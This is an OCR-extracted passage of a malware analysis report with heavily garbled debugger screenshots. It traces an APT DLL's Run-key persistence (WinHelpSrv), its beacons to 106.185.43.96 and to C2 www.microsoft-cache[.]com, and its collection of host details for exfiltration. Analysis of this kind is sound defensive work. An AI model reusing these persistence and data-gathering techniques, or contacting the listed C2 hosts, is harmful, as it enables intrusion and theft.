text:6CD73777 push ebx 5 hModule
.text:6CD73778 call ds:GetModuleFileNames
.text:6CD7377E lea eax, [ebptFilename]
Jtext:6CD73734 push offset aRundll32Exe ; “rundll3z.exe”
.text:6C073789 push eax 5 char *
Jtext:6CD7378A call _strstr

.text:eCD7378F pop ecx

Lext:eCD73798 pop BCX

LtText:60D73791 test eax, eax

.text:6CD73793 jz short loc_&CD7379C

S

i L
Lol e [-=] Ll e =]

.text:6C073795 push ebx ; UExitCodel |.text:8C{D7379C
.text:6lD73796 call ds:ExitProcess Ltext:6CD7379C loc_6CD7379C:
tewt -AINFI7O0 lea e M=
Figure 23

The malware is made persistent by adding a new value called WinHelpSrv under the “Run” registry key. In our case,

this value points to the location of rundll32.exe because the DLL was run using this executable:

so push eax ADsIM_B 5 \EwmpLY)  Aosim_s
8D 85 F8 FC FF FF lea eax,dword ptr ss:[ebp-20s]
50 push eax \ x87Statusword 0020
6A 01 push 1 XB7SW_B 0 X87SW C3 0 x8
53 push ebx XB7SW_C1 O xB875W_CO 0O x8
68 4C 66 DB 6C push apt.6&CD8664C 6CDE6E XB7SW_SF 0 XB7SW_P 1 X8
FF 75 F8 push dword ptr ss:[[ebp-s]
FF 15 24 40 D8 6C call dword ptr : [<@RegSetvalueExAx] L
e e, T ——— e 5 Default (stdcall)
= 1: [esp] 00000298
dword ptr [6CD84024 <apt.d&RegSetValueExA»]=<advapi3z.RegSetvValueExA> 2: [esp+4] GCDBGEE4C "WinHel|
3: [esp+8] 00000000
; " 4: [esp+C] 00000001
.Text: 6CD73807 apt.d11:33807 #2C07 5: [esp+l0] OOSEF98C "™\"C:V'
2 DO000Z598
eyoump 1 glpumpz  $4Dump3  MDumps  WhDump5 @ watchl  I=llocak A Ml OosErSec| ecDSEE4C | “winHelpsry®
Address | Hex ASCII ~ | R
OOSEF98D |43 3A 5C 57[69 GE 64 G6F |77 73 5C 53[79 73 57 4F|C:\Windows\Syswo oozttt LT Sl
00SEF99D |57 36 34 5C|72 75 6E 64|6C 6C 33 32|2E 65 78 65 |We4\rund113z.exe O0SEEDZa) 00-EEon0 IO IMIncons L v aoRe B chad 152 cxey
ancccaan| 27 An Aa aalan an an nnlan an an Anlan an An anld e

Figure 24
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The confirmation that the persistence was successfully established:

B Registry Editor - O x
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

DeviceAccess ~

Name Type Data
gev!(e(apab\htwes a8 Default REG_SZ {value not set)
newcesﬂ 2] WinHelpSrv REG_SZ "CAWindows\SysWOWEd\ rundli32.exe”

Figure 25

As written before, a new thread is created to execute the same function mentioned when the malware has run with

administrator privileges. CreateThread API call is displayed in the next picture:

- PR
. 43 push esi
. 44 push esi
. 56 push esi
. 68 B4 31 D7 6C push apt.e&CD731B4
. 56 push esi
. 56 push esi
Eg—s FF 15 &C 40 D8 &C call rd ptr ds:[<&CreateThread-] W
& T g e e g~ ST -

dword ptr [6CDB406C <apt.&CreateThreads]=<kernel32.CreateThread:

.Text:6CD7394E apt.dl1:5394E #2D4E

@oump1  @Yoump2  Woump3s  WHDump4  @houmps @ wawh1i  IelLlocals A OOSEFCBE
Address | Hex ASCII

O0D5SEF98D [43] 3A 5C 57|69 6E 64 6F |77 73 5C 53|79 73 57 4F|L€:'Windows'Syswod
OO0SEF99D (57 36 34 5C|72 75 6E 64|6C 6C 33 32|2E 65 78 65 |We4\rundli3z.exe
"

apt.&CD731B4

Figure 26

There is a call to GetMessage API to retrieve messages from the thread’s message queue. If the message is 0x10

(WM_CLOSE), 0x11 (WM_QUERYENDSESSION) or 0x16 (WM_ENDSESSION) the current function terminates
its execution:
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_ Y ¥
M
Lhewt:6CD7 3987
Ltext:6CD73987 loc_6BCD73987: ; wMsgFilterMax
.text:6CD73987 push esi
Ltext:6CD73988 push esi 3 wMsgFilterMin
Ltext:6CD73989 push esi 3 hund
.text:6CD7398A lea eax, [ebpHisg]
Ltext:6CD7395D0 push eax 3 1pMsg
Ltext:6CD7398E call edi ; GetMessageW
dext:e(D739968 test eax, eax
Ltext:6CD73992 jnz short loc_eCD73961

Y

[l i =
LText:eCD73961
Ldewt:eCD73I0961 10[_6CD?3951:

.text:60D73961 cmp [ebp+Msg.message], 18h
.text:60D73965 jz short loc_sCD73994
] Y
ol s =]
Ltext:6CD73967 cmp [ebptMsg.message], 16h
.text:6CD730968 jz short loc_sCD73994
: L |
[l s 55
text:60073960 cmp [ebptisg.message], 1lh
text:6CD73971 jz short loc_6CD73994
L J . YYVYY
5= [l s 55
16CD73973 lea eax, [ebp+isg] Ltext:60073994
:6CD73976 push eax ; lpMsg) |.text:6CD73994 loc_GCD73994:
160073977 call ds:TranslateMessage Ltext 60073994 xor eax, eax
:6CD7397D lea eax, [ebp+isg] text:8C073996 pop edi
:6CD73988 push eax ; 1lpMsg) | .text:6CD73997 inc eax
160073981 call ds:DispatchMessagew Ltext:6C073998 pop esi
T Fmardk s EFTTIOA0 T Aa=aes

Figure 27
Thread activity — StartAddress address

During the entire execution, the internet is emulated using Fakenet. We’ve observed multiple MultiByteToWideChar

function calls used to convert character strings to UTF-16 (wide character) strings. One such call is shown below:

o3 push ebx A0/ IM_D 3 (CmpLY)  Aos ML
50 push eax

6A FF push FEFFFFEF xB875tatusWord 0000

FF 75 08 push dword ptr ss:[ebp+sl [ebp+8]: "http: XB7SW_B O xB7SW_C3 0O X
89 45 FC mov dword ptr ss:|[[ebp-4J,eax XB87SW_C1 0 X87SW._CO O X
57 push edi XB7SW_SF O XB7SW_P D X
57 push edi

FF D6 call esi esi:MultiByteTo v

— e — = Default (stdcall)
1z [es

esi=<kernel3z.multiByteTowidechar> (76325B40) 2: [esp+4] 00000000
3: [esp+B] 6&CDSBDOS2 "http:,
4: [esp+C] FFFFFFFF
.Text:6C074511 apr.d11:$4511 #3911 5: [esp+10] 04602EFS
%) & 00000000
@WDump1  @goump2 @WDump3  @YDump4  B4Dump5 B Watch1  Ix=ILlocals & Struct ‘ODAEE670 | 00000000
T (i | AscIz | [~ om:::;; Eﬁ??‘:gii “http://106.185.43. 96: 80"
6CDSD052 |68 74 74 ?U|3A 2F 2F 31‘30 36 2E 31[38 35 2E 34|http:,t,rLDS.L55.4 ‘ mﬂu“sn 0460ZEFS
6CDED062 (33 2E 39 36|3A 38 30 00|51 65 71 4F 6B 2F 75 73|3.96:30.Qeqok/us
et e s ket e s e e et 00AEB630 | 00000018
Figure 28

The malware uses the WinHttpOpen function to initialize the use of WinHTTP functions. The user agent is hardcoded
in the DLL file:
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53 push ebx
53 push ebx
53 push ebx o
53 ush X o
&b 86 12 04 00 00 lea eax,dword ptr ds: 1 eax:L"Mozi11a/s 0
push eax eax:L"Mozilla/s
FF 15 64 42 D8 &C €all dword pTr ds:[<&winHttpopens]
P e e e s Saiia ) = [5 2] 00 uniock
e sp] DOAEBACZ L'Mozi11a/5.0 (Macintosh; U; Intel
dword pir [6CDB4264 <apt.&ninHLLpOpens]=<winhtip.WinHtLpopens 7 00000000
] 00000000
i HE | ] _00000000
.TEXT:6CD71F25 apt.d11:$1F25 #1325 5: [esp+id] 00000000

o = = S GOAEGACZ | L"Woz111a/5.0 (Wacintosh; U Imtel Mac 05 X 10_6.2; en-US) APPIewebKit/533.3 (KHTHL, 1ike Gecko) Chrome/s.D.354.0 Safari/s33.a”
&W0ump 1 | @Dump2 G Dump 5 P fooagges+| 00000000
ODAEEEE S| 00000000
ASeeers s T T Ty T ) | QuAERssc | oodononn
OLERIITDI 22 22 22002 22 22 221 looaesssaliooooo00n

Figure 29

There is a call to WinHttpSetTimeouts function in order to set time-outs involved in HTTP transactions.

nResolveTimeout, nConnectTimeout, nSendTimeout and nReceiveTimeout are set to 0x1D4C0 (120.000ms = 120

seconds):
FF B6 04 11 00 00 push dword [esi b
FF B& 00 11 00 00 push dword [es 3
FF B6 FC 10 00 00 push dword 5 ]
FF B6 F8 10 00 00 push dword ptr ds:[es b
50 push eax

[EIP gy FF 15 2C 42 D8 6C €all dword ptr ds:[<&winHttpSetTimeouts>]
>
dword ptr [6CD8422C <apt.&WinHttpSetTimeouts:>]=<winhttp.winHttpSetTimeouts> 2
3
4
.text:6CD71F58 apt.d11:$1F58 #1358 5
Ji Y 5 ODBEZ408
&4l Dump 1 8% Dump2 B4 Dump 3 8% Dump4 @4 Dump 5 & watch 1 Ix=] Locals & struct O0AEBGS 4 | D001DACO
ODAEBG5 8| 0001D4C0

ODAEBG5C | DO01D4CO
DOAEBGEE0 | DDO1D4CO

Address | Hex [AascIT | S
ODAEBG54|C0 D4 01 00[C0 D4 01 00[CO D4 01 00[CD D4 01 Uo|A'§..A0..AO..AO..|
ARAEDEZ A fre PRtV

on oe AE nnlan nan nn nnlere 12 R erlon oe A An

Figure 30

The initial target server of an HTTP request is set to 106.185.43.96 on port 0x50 (80). The WinHttpConnect API call
is displayed in figure 31.

53 push ebx 3 z x875tatusword 0000
50 push eax 7 X87 SW.
8D 46 OC lea eax,dword ptr ds: C] X
50 push eax o 3 XB7SW_SF 0 x
FF 36 push dword ptr ds:[esi] =
EE— FF 15 38 42 D8 6C €all dword ptr ds:[<awinHttpConnect:] . W
o < i e e e e e e e sons a2 Default stacal)
= = = = 1: [esp] OOBE2408
dword ptr [6CD84238 <apt.&WinHTtpConnect>]=<winhttp.winHtTtpConnect:> 2 sp+4] OODAEBEB(
3 sp+8] 00000051
i 4 sp+C] 00000001
.TexT:6CD71F6D apt.dl1:$1F6D #136D = esp+10] DODAEBGI

L"106.185.43.96"

= 5) 00BE2408

Woumpi  @loumpz  @Woump3  Woumps  Wloumps @ watth1  ellocals 7 struct ODAEB65 8 | D0AEBEBC
D0AEBESC | 00000050

Address !HE, | AscIz | "" 0DAEBEE0 | 00000000

AACGLE A LAG SA BE AATGr BE AC ANTEN AN AR Anlan N fn ool CEEns o T

Figure 31

The process performs a GET request to the server mentioned above, with the target resource being /user/atv.html. The
pwszReferrer parameter is set to “http://www.google.com” and dwFlags is set to 0x100
(WINHTTP_FLAG_BYPASS_PROXY_CACHE):

50 push eax eax:L"GET
53 push ebx
FF 75 08 push dword ptr ss: 0 x
8D 45 FD lea eax,dword ptr 0 x
50 push eax eax: L"GET' [
FF 76 04 push dword ptr ds: [ = =

{E TP o FF 15 4C 42 D8 6C call dword ptr d v
SEmtrmas e Default (stdcall)

1: [esp] OQOBEASOD

] ODAEB67C L"GET"
04602F38

esp- 00000000
[esp+10] ODOAEBEC2 L"htt

dword ptr [6CD8424C <apt.&winHLLpOperRequest>]=<winhttp.WinHttpOpenRequests>

LText: 6CD72003 apt.dll: 52003 #1403

Watch1  [=llocals 5 Struct

ODAEB658 | DDAEB67C | L"GET"
ODAEBE5C
00AEBE60D
ODAEB664
ODAEBG68
00AEBG&6C

Uoump1  @Woump2  WDump3  WWDump4 G Dump s

00 01 00 00
00 45 00

00
0DAEBEC2 | L"http: //www.google. com”
00000000
00000100

A

00 00 00 0O|
00 00 0D Az
00 00 00 00

CZ BE AE 00
00 00 00 00

54 00 00 00|.

Figure 32

After the WinHttpOpenRequest call there is a WinHttpSendRequest function call. The HTTP request is intercepted by

Fakenet, and it replies with a fake response:

0) requ
.html HTTP,
-cach

Intel Mac O
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Figure 33

Now the process is awaiting a response to the HTTP request by calling the WinHttpReceiveResponse function:

53 push ebx X
FF 76 08 push dword ptr ds:[esi+8] =
FF 15 30 42 D8 6C €all dword ptr ds:[<awinHTttpReceiverResponsex] v
dword ptr [6CDS84230 <apt.&winHttpReceiveResponses>]=<winhttp.winHttpReceiveResponse> 2
2
4
.text:6CD720AC apt.d11:$20AC #14AC 5
5 DDBEAGAD
Woump1  @oump2  @Houmps  @Houmpa  @Houmps @ wathi  ke=llocals ) struct mmmlz“sc 00000000

Figure 34

Afterward, the malicious file retrieves header information using WinHttpQueryHeaders API with 0x16
(WINHTTP_QUERY_RAW_HEADERS_CRLF) parameter — receives all the headers returned by the HTTP server:

i push ebx x
8D 45 FC Tea eax,dword ptr ss:[febp-4]
50 push eax Hi
FF 75 F8 push dword ptr ss:[febp-sj X
53 push ebx Xi
6A 16 push 16 X
FF 76 08 push dword ptr ds:[esi+38] ]
FF D7 call edi edi:winHttpQuer v [—
g T De
> e
edi=<winhttp.wWinHTTpQueryHeaders> (70CB3390) 3.
a:
4:
.text:6CD7IACS apt.dl1:$1ACE #ECS 5:
z DDBEAGAD |
@ Dump 1 a2y Dump 2 @2 Dump 3 Ly Dump 4 @l Dump 5 @' Watch 1 [x=] Locals Ef Struct 16
O0AEEBE48 | 00000000
Address | Hex ASCII # | GoAERE4C | D4EDOBS D
04600850 100! 00 00 00|00 00 OO0 00|00 0D OD OO|00 00 0D OO|M. cucveecannnnns DDAEBE50 | 0D0AEBEE4
04600860| 00 00 00 00|00 00 OO0 0000 OO OD OD|00 00 00 D0 uvicncncnnnnnns
nacnnernl an nn nn nnlnan Aan Aan Aanlnn AN AN Aanlan an nan nn DOAEBES 4 | 00000000

Figure 35

There is a second WinHttpQueryHeaders API call with 0x20000013
(WINHTTP_QUERY_FLAG_NUMBER|WINHTTP_QUERY_STATUS_CODE) parameter — the status code
returned by the HTTP server. It expects a status code of 200 (OK):

. 52 push edx B
. 8D 81 0C 11 00 0O lea eax,dword ptr ds:[ecx+110C]
- 8D 75 FC lea esi,dword ptr ss:|[ebp-4] X
. SE push esi o
. 50 push eax
. 52 push edx X
. 68 13 00 00 20 push 20000013 X
. FF 71 08 push dword ptr ds:[ecx+8] X
. 89 10 mov dword ptr ds:[eax],edx X
™ C7 45 FC 04 00 00 0O mov_dword ptr ss:[lebp-4, 4 ]
Fg—e FF 15 40 42 D8 &C call dword ptr ds:[<&winHttpQueryHeaders>] =
] =t T > 3
= = = 2]
dword ptr [6CD84240 <apt.&WinHttpQueryHeaders>]=<winhttp.WinHttpQueryHeaders> 21
3
4
.text:6CD71A51 apt.d11:$1A51 #E51 =
3 DOBEAGAD
4% Dump 1 Wipump2 @WYpump3 Wpump4 @ Dumps B watch1  Ir=l Locals # stuct 20000013
00000000
Address | Hex ASCII 5 i
04600A50 (48 00 54 00(54 00 50 O0|2F 00 31 OO(2E 00 30 0OO(H.T.T.P./.1...0. DDAEBG64
04600A60 (20 00 32 00(30 00 30 00|20 00 4F OO(4B 00 OD 00 .2.0.0. .0.K... 00000000
nacnnaznlnn an aa anlzr an 74 nnlec anooa nalan an ca oanl TRTaTe AT Ty

Figure 36

The process uses the WinHttpQueryDataAvailable function to see how many bytes are available to be read with
WinHttpReadData:

[} push eax 2 R X
FF 76 08 push dword ptr ds:[esi+3] —
Ey— FF 15 44 42 D8 6C €all dword ptr ds:[<&winHttpQueryDataAvailablex] ]
S
dword ptr [6CDB4244 <apt.&WinHttpQueryDataAvailable>]=<winhttp.winHttpQueryDataAvailable>

1

2i

3:

4

.text:6CD71B81 apt.d11:31B581 #FS81 5:
i D0DBEABAD
WDump1l  PYpDump2 B Dump3 B Dump4 B4 Dump 5 B watch1  Ix=ILocals # struct MMAEBSQS ODAEEGE4

Figure 37

Next, there is a call to the WinHttpReadData function that is used to read data returned by the server:
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50 push eax : g X87SW_B O X87SW_C3
FF 75 FC push dword ptr ss:|[ebp-4] XB7SW_C1 0 x875W_CO0
57 push edi XB7SW_SF O x87.
FF 76 08 push dword ptr ds:[esi+s]
EIP FF 15 58 42 D8 &C call dword ptr ds:[<&winHttpReadData>] v
BEmEs i " = Default (stdcall)
= = = 1: [esp] DOBEAGAD
dword ptr [6CD84258 <apt.&WinHttpReadData»]=<winhttp.wWinHitpReadData> 2: [esp+4] 04605768
3: [esp+8] 000005A6
4: [esp+C] ODAEBGED
.Text:6CD71BD8 apt.d11:$1BD8 #FDS 5: [esp+10D] 76324F10 <
3 ‘DOBEAGAD
Uyoump 1 @oump2  @Woump3  Woumps  Wloumps @ watch: | bellocals P stuc TR A T
ODAEB644 | DODODSAG
‘DDAEBE60

76324F10 | kernel32.GetLastError
AnARARRA

O
DDAEBE4C

AnACDECA

Address | Hex | AscII | ~
0460576800 00 00 00|00 00 00 0Q0(00 00 00 00|00 00 00 00
04605778| 00 00 00 00|00 00 00 QO(00 00 00 00|00 00 00 00|... ‘
Figure 38
The malicious process uses the WSAStartup function with 0x202 parameter (wVersionRequired) in order to use the

Winsock DLL. The current directory for the process is changed to the location of the current executable
(rundll32.exe):

50 push eax eax: L"C:\\windo ;
FEE— FF 15 D8 40 D8 6C €all dword ptr ds:[<&setcurrentDirectoryw->] v |=
s - 5 |Defeut Gtdcan
1: [esp] DDAEB454 L"C:\\Win
dword ptr [6CD840D8 <apt.&SetCurrentDirectoryw-]=<kernel32.setCurrentDirectoryw> esglql ODAECTDO —
esp+8] OOAECTDO
esp+C] 00000000
.TEXT:6CD7246F apt.d11:$246F #186F 5: esgﬂ%] 003A0043
[C TSR e b R e i B O e IR I T [EEEEEETY 00AES454 | LC: \\Windons \\Sysuowes™

Figure 39

GetAdaptersinfo API is utilized to find adapter information for the local machine. The function call is presented in

the next figure.

S0 push eax z = »
53 push ebx il

FF 95 63 FD FF FF call dword ptr ss:[ebhp-233] [ebp-298] :GetAd w
vz S 3 ,E
1
dword ptr [ebp-298]=[00AEB3A4 <&GetAdaptersInfo=]=<iphlpapi.GetAadaptersInfo> 2
3
4
.Lext:6CD73CAD apt.dll:$3CAD #304D 5
: DDCO85F8
Woumpt  @Youmpz  @Dump3  WiDump4  Bloumps @ watth1  [x=lLocas ) Struct ODAEB3AS
O0AECTDO
2 = i o 00000000
50 A2 CD 00 7B 36 32 32|44 32 38 39|P¢A...A.{6220289 TGECHED
00CO8608| 45 2D 45 32|31 44 2D 34|33 38 38 2D |38 37 42 30|E-E21D-4388-87B0 00000280
00CO8618|2D 33 30 30[42 35 45 34|44 32 35 34|37 7D 00 00|-900BSE4D2547}.. R reCE

Figure 40

The malware opens the “Software\Microsoft\Windows\CurrentVersion\Internet Settings” registry key by calling the

RegCreateKeyExA function:

Eagh*;g;*“ X8/ IW_U 3 ELI’IDEY; XB/IW_1 3 Etthy;
Lo Xx87TW_2 3 (Empty’ Xx87TW_3 3 (Empty
I D ebp-ol X87TW_4 3 (EmPTy) X87TW S 3 (EmPTY)
B eh fhr X87TW_6 3 (Empty) x87Tw_7 3 (Empty)
ush 1
el xs7statusword 0000
push ebx XB7SW_B O x87SW C3 0 x875w Cz O
push ebx X87SW_C1 0 X87SWCO O X87SW_ES 0
push apt.6CD83680 6CDBIE80: "Softh XB7SW_SF 0 x8T7SW_P 0 x87SW_U a
push 20000001 (o=t s
€al11 dword ptr ds:[<&RegCreateKeyExA>] v =
~~~~~~ = 5 | Default stdcal) ~ |[5 ] uroc
= 1: [esp] 8000DOOL
dword ptr [6CDS403C <apt.aRegCreateKeyExA>]=<advapi32.RegcreatekeyExAr 2t [espra] GCDB9GB0 "SOTTWAre\\Microsoft\\Windows\\C
3: [esp+s] 000000
4 esp+C] 00000000
.TEeXT:IECD73DD1 apt.d11:$30D1 #31D1 5 Esgrlg] 00000000
i i " " " = &) 80000001
Woump:  @hoump2  @Hoump3  @doump4  @houmps @ wahi  kellocals | ) struct ‘DOAEB5F4 | 6CDE9680 | "SOTTwar e}\M1crosoft\\Windows\\Currentversion\\Internet settings”
‘DOAEBSFE | 00000000
Hex ASCIT A
04603768 |80, 00 0D 00]00 00 00D DO[OD 0D G0 00]00 0D DO OO|H-- O0AEBaFC [Idononnan
04603778| 00 00 00 00[00 00 00 00|00 0D BRI et
04603788(00 00 00 00|00 00 00 00|00 0O D0AEBE0S | 00000000
04603798(00 00 00 00|00 00 00 00|00 00 D0AEBEOC | DOAEB624
046037A8( 00 00 00 00|00 00 00 00|00 00 DOAEBE10

Figure 41

Now the user agent is extracted from the local host by calling the RegQueryValueExA function, as follows:
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®|| 6CD73DF3 50 push eax
@ 5CD73DF4 57 push edi
®( 5CD73DFS 8D 45 FC lea eax,dword ptr ss:[Jebp-4]
| 6CD73DFB 50 push eax
@ 5CD73DF9 53 push ebx
o sco73DFA 65 A5 98 D8 6C push apt.6CD898A5 6CDEI8A5: "User
@ 5CD73DFF FF 75 F8 push dword ptr ss:[ebp-5]
e scD73E02 89 5D FC mov dword ptr ss:[febp-4],ebx
|| GCD7IEDS 89 75 F4 mov_dword ptr ss:{lebp-Clj, esi
[EIP puu s 1 FF 15 1C 40 D8 &C €all dword ptr ds:[<aReglueryvalueExaA>] ]
s e —— e T o g,
>

dword ptr [6CDS8401C <apt.&ReglueryvalueExA>]=<advapi3z.RegQueryvalueExAs>

-text:6CD73E08 apt.dl1:$3E08 #3208

@%0Dumpl  @yDump2 B4 Dump3  @WDump4 U4 Dump 5 @ watch1  [x=lLocals ff Struct DOAEBG00

O0DAEBED4

"User Agent"

Address | Hex ASCII * | Boa
04603768 [{00] 00 00 00[00 00 00 0000 00 00 oOf00 00 0O OO|k. MES%’
04603778( 00 00 00 0O|0D OO OO 0O|0O0 OO OO OO|0O0 OO0 OO0 0Of.. DOAEBG1O

Figure 42

The GetNetworkParams function is utilized to obtain network parameters for the local machine. This information will

be exfiltrated as we’ll see later on:

|| eCD74DBL 50 push eax
®( 5CD74DB2 57 push edi
EIP > FF D& call esi esi:GetNetworkP v
= e SR—
>
esi=<iphlpapi.GetNetworkParams> (7307C980)
.TeXt:6CD74DE3 apt.dl1:$4DB3 #41B3
5 D4600C48
Woump1  @loumpz  @oumps  Woumpa  WWoumps @ watch1  ellocals 4 Struct DOAEBE28 | DDAERE3S
add O0AEEG2C | DDAEFAES
LR L = S - l ODAEB O0AECTDO
04600C48 [ Z0 3B €0 04[20 09 €0 04[5C 4D 69 63[72 6F 73 GF|p; ... .‘\Microso| Sl R e

Figure 43

GetComputerNameW and GetUserNameW APIs are used to retrieve the NetBIOS name of the local computer and the

name of the user associated with the thread, respectively:

. S0 push eax

. 8B 83 2C 33 00 0O mov eax,dword ptr ds:[ebx+332C] [ebx+332C]:L"ht

. 05 10 04 00 0O add eax,410

. BE 80 00 00 00 mov esi,s0

. 50 push eax

. 89 75 F8 maov_dword ptr ss:|lebp-sl,esi

EIP >e FF 15 D4 40 D8 &C £all dword ptr ds: [<&GetComputerNamew:]

. 8D 45 F8 lea eax,dword ptr ss:|[febp-s]

. 50 push eax

. 8B 83 2C 33 00 0O mov eax,dword ptr ds:[ebx+332C] [ebx+332C]:L"ht

. 05 10 05 00 0O add eax,510

. 50 push eax

. 89 75 F8 mov_dword ptr ss:[ebp-sl,esi

L] FF 15 2C 40 D8 6&C €all dword ptr ds:[<&GetUserNamew=]

. S e e e B e L
>

dword ptr [6CDS840D4 <apt.&GetComputerNamew=]=<kernel32.GetComputerNamew:>

.text:6CD72A%A apt.d11:$2A9A #1E9A

3 04603370

Woumpt  @hpump2  Whoump3  WYoump4  Woumps @8 watthi  bellocals Y struct DOAEB440 | DDAEBE34
Add) DOAEE444 | DDAEFAES
LEEE e R I * | ooaEB448| o0AEC7DO
04603370 [00) 00 00 00|00 OO 00 00|00 00 00 D000 00 00 OO[R.....vvuunnnnnn | | P e

Figure 44

gethostname and gethostbyname functions are used to get the standard host name for the local machine and host

information corresponding to the local host, respectively:

®| 6CD74DF4 6A 64 push &4
@ | 6CD74DFE 8D 45 98 lea eax,dword ptr ss:[lebp-63]
®| 6CD74DF9 4] push eax
®| SCOT4DFA 33 FF xor edi,edi
E—e FF 15 80 42 D8 &C €all dword ptr ds:[<&gethostnames]
. 8D 45 98 lea eax,dword ptr ss:|[lebp-635]
. 50 push eax
- FF 15 6C 42 D8 6C call dword ptr ds:[<&gethostbynamex>]
L]

dword ptr [6CD8426C <apt.&gethostbyname:]=<ws2_32.gethostbyname:>

.text:6CD74E06 apt.dl1:$4E06 #4206

O0AEB3D4
00000064

4% Dump 1 24 Dump 2 2 Dump 3 4% Dump 4 4% Dump 5 B8 watch 1 [x=] Locals 2’ Struct

00000000

Address | Hex | ASCIT [
O0AEB3D4 [0 00 00 00[40 OF 00 oolo0 00 00 o0[04 17 A8 69|L...8......... il s R
Figure 45

The process verifies the operating system version by calling GetVersionExA function and then it checks if the process

is running on a 64-bit machine by calling GetCurrentProcess and IsWow64Process APIs (this information is stored in
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the buffer along with the hostname and username). The malware retrieves the default locale for the OS by calling
GetLocalelnfoA function with the following parameters: 0x800 (LOCALE_SYSTEM_DEFAULT), Oxb
(LOCALE_IDEFAULTCODEPAGE). The result is OEMCP 437 for English ( United States ) that is converted to hex
and copied in the buffer that will be exfiltrated:

68 FF 00 00 0O push FF

8D 85 18 FE FF FF lea eax,dword ptr ss:|Jebp-1E3[J

50 push eax

64 0B push B

&8 00 08 00 00 push 800

FF 15 88 40 D8 &C €all dword pEtr ds:[<&GetLocaleInfoA>]

dword ptr [6CD84088 <apt.a&GetLocaleInfoA>]=<kernel32.GetLocaleInfoA>

.text:6CD72B39 apt.d11:§2B99 #1F39

4% Dump 1 24 Dump 2 B4 Dump 3 B4 Dump 4 @4 Dump 5 ‘33. Watch 1 [x=] Locals c‘,;’ Struct

00000008
Address | Hex [asciz | [ ~ [FRReEae mﬂu«mlz:: RE
OOAEB727 [00] 00 00 00[0D 0D 0O 00|00 00 00 00[00 OO0 00 00 [Hesreeonnssnnses | | ereresrrwpeoreTT

Figure 46

There is a call to the GlobalMemoryStatusEx function in order to retrieve information about the physical and virtual
memory. The amount of physical memory and the amount of physical memory currently available are saved as 32-
bits values to the buffer which will be exfiltrated. Also, the processor name is retrieved using a few cpuid instructions
(“AMD Ryzen 5 3550H with Radeon Vega Mobile Gfx”) and then copied to the same buffer. The malicious process
extracts the width and the height of the screen of the primary monitor (in pixels) via 2 GetSystemMetrics calls, as

follows (these are copied to the same buffer as before):

o e e e e e e g s e L e e e s e
BA DO push 0 4 |:
FF D6 ca'l'l es1 esi:GetsystemMetr v
T o e e e ST - T
> H
esi=<user3?.GetSystemMetrics> (76B2B000)
.text: 6CD72C20 apt.dl1:$2C20 #2020
e+ |l @i~ | e s | e | B FEE R 00000000 |
C2B 57 push ed'l
89 81 F8 07 00 00 mov dword ptr ds:[ecx+7F8],eax
FF D6 ca'l'l es1 esi:GetSystemnMetr v
> |
esi=<user32.GetSystemMetrics> (76B2B000)
.text:6CD72C32 apt.dl1:$2C32 #2032
TR - P [ S R AN P [ S S IR ) I IEREERS 00000001

Figure 47

Again 12 random chars are generated via the same algorithm as presented before, and then the following URI is
constructed (data=12 random chars): “/money/ofcom-fines-nuisance-calls?0023528461146965&data=qgvuclxxlgip”.
The function WinHttpOpen is called using the user agent extracted earlier from registry, “Mozilla/4.0 (compatible;
MSIE 8.0; Win32)”:

53 push ebx

53 push ebx xa?scacuswwd 0000

53 push ebx XB7SW_B X87SW_C3 0 XB7SW.C2 O
53 push ebx X87SW_C1 a X87SW_CO O XB7SW_ES O
BD 86 12 04 00 00 Tea eax,dword ptr ds:[esi+412] : XB7TSW_SF 0 X87SW_P 0 XBTSW.U O
5 push eax

FF 15 4 42 D8 6C call dword ptr ds nHEtpOpen>]

v
Dafau\t(stdmﬂ) -

* [esp] ODAECEBZ L'Mozilla/4.0 (mmpauh]e M

z [esp+a] 00000000

3t [esp+s] 00000000

4: [esp+C]_00000000
. text:6CD71F25 apt.dl1:§1F25 #1325 5: [esp+10] DD00000D

L™Mozi11a/4.0 (compatible; MSIE 8.0; Win3z)"

dword ptr [6CD84264 <apt.&WinHTtTpOpen>J=<winhttp.winHTttpOpen>

8% Dump 1 $ooump2  @YDump3  PYDump4 Y& Dump 5 @ watch1  Ix=I Locals (‘;:’ Struct

Address | Hex ASCIT

ODAEE7FO | 2F D GF 6E |65 a 2F SF 66 63 GF GD|2D 66 69 SE /'r\nney/nf:n'r\-fm
ODAEBS00| 65 73 2D 6E|75 73 6E 63 65 2D|63 61 6C —nuisance-call
DDAEBS1D 53 27 20 50|22 53 22 53 |5s 34 56 30 39 52 55 | Sonsaiiaitosies
OOAEBS820 |35 39 26 64|61 74 61 3D|Z1 6 78 78 ssﬁdata qgvucTxx

D0AEBa30| 2 &7 5 7olod 60 0o 00|08 o 6e 03|00 66 0b 00l Tator eI

return to apt.6CD7LFCE from apt.6CD7LFO0B

Figure 48

As before, the file calls the WinHttpSetTimeouts function using the parameters set as 120 seconds, and then it tries to

connect to the C2 server (www.microsoft-cache[.]Jcom) on port 443:
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push ebx = xB7Statusword 0000
push eax icrosc XB75W_B X875W_C3 0 xB
oc lea eax,dword ptr ds:[esi+C] .microsc | xB7SW_C1 0 x875W. CO O x8
push eax ¢ (.microsc | x87SW_SF 0 X87SW_P O X8
push dword ptr d esi] o —
28 42 D8 6C cal rd ptr AnHttpConnect>] v
e i e S P Default (stdcall
- - - 1: [esp] DOBEZ408
dword ptr [6CD84238 <apt.&winHTttplonnect>]=<winhttp.WinHTTpConnect> 2: [esp+4] ODAECAAC L™www.m"
3: [esp+8] O0OD0DO1BB
4: [esp+C]_000D000D
.TEXT: 6CD71FED apt.d11:$1FED #136D 5: [esp+10] DDAECAAD
3 D0BE2408
Woump1  @oump2  @pump3  Whoump4  @oumps @ watch1  lxelLocals 2 struct 'DDAEB79C | DOAECAAC | L"www.microsoft-cache. com”

DDAEE7AO | ODDDO1ER
O0AEB7A4| 00000000

[~]
!

‘Address Hex | AscI1 I
e

Figure 49

The process performs a GET request using WinHttpOpenRequest and WinHttpSendRequest APIs:

push eax eax:L"GET"

x87Statusword 0000

x87SW_B 0 XB7SW.C3 0 x87SW_C2
X87SW_CL 0 X87SW_CO 0 X87SW_ES
xB7SW_SF 0 XBFSW_P 0 x87SW_U

[fgl 1 [ebp+8]:L" /money;
ebp-10]

coo

eax:L"GET’
esi+4]
[<&winHttpOperRequest>]

v

Default (stdcall) ~|[5 2] unioc
] DOC11888
+4] O0OAEB7CO L"GET"
+8] 04500990 L"/money/ofcom-fines-nuisance-ca’
+C]_00000000
